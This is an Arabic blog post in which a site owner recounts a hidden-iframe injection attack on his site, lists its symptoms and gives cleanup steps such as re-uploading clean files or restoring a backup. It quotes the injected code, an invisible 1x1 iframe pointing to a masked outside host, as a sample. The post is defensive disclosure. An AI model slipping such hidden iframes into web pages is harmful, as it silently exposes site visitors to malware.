iframe attach

تعرض هذا الموقع (بما في ذلك المدونة) لهجوم من نوع iframe attach الذي اكتشفت لاحقاً انه نفس الهجوم الذي تعرضت له مدونة هديل رحمها الله فبل فترة، هذا الهجوم يصيب المواقع وانطمة ادارة المحتوى ( منتدى - مدونة - نيوك - الخ ) حيث يزرع على السيرفر فايروس يُولد كود من نوع hidden iframe أو JavaScript يصيب كافة ملفات html. في اماكن مختلفة : اما بعد سطري </body></html> كما حدث معي ، او قبل </body> كما حصل لـ Creative Briefing .

</body>
</html>
<iframe src="http://XXXX.com/?click=XXXXXXX" width=1 height=1 style="visibility:hidden; position:absolute"></iframe>

من أين يأتي الفايروس؟ قد يكون من السيرفر (والاستضافة لم تعطيني سبب مقنع) وقد يكون من الجهاز خصوصاً من يمتلك برنامج Google desktop .

اعراض الهجوم:

• يتم تحميل الصفحة بسرعة وتظهر على الفور صفحة الخطأ 404 ( الصفحة غير موجود ).


• بينما يتم تحميل الصفحة يظهر في شريط الحالة: waiting for: http://XXXX.com/.....


• يكتشف برنامج الانتي فايروس تروجان او فايروس يصيب جهاز الزائر.

الحالتين الاخيرة هي ما حصل مع موقعي، سرعة تدارك المشكلة ساعدتني في ايقاف الموقع حتى ينتهي الخلل، فقد راسلني احد الاخوة باكتشاف حمايته لتروجان عند زيارة صفحة الاندكس، في رسالة شديدة اللهجة اعتقاداً بأني وضعت التروجان عمداً للزوار :) .
( نصيحة: تطوع وساهم وتفاعل اذا وجدت خللاً او عطباً في موقع ما وابلغ مدير الموقع على الفور؛ يشمل ذلك موقعي :) ) .

الحـل:

1. حذف جميع الملفات واعادة رفع ملفات جديدة غير مصابة.


2. استعادة نسخة احتياطية لتاريخ من المؤكد سلامة الموقع فيه.

وللاسف، الاصابة مرة أخرى أمر وارد لعدم وجود حل جذري حتى الآن!

مقالات مرتبطة:

• WordPress hacked


• Atac Iframe (استخدم المُترجم بالقائمة الجانبية )


• اختراق من نوع iframe على مدونتي

أنصح بقراءة وتطبيق:

• شرح تأمين وحماية مدونات ووردبريس


• شرح كيفية أخذ نسخة احتياطية من المدونة وارسالها للميل (ليست اضافة)


• فيروس Mal/Badscr-C

----

لا أنسى أن أشكر الكثيرين من نخبة المدونين اللذين ساهموا واقترحوا لحل المشكلة .. مع وافر التحية (f) ..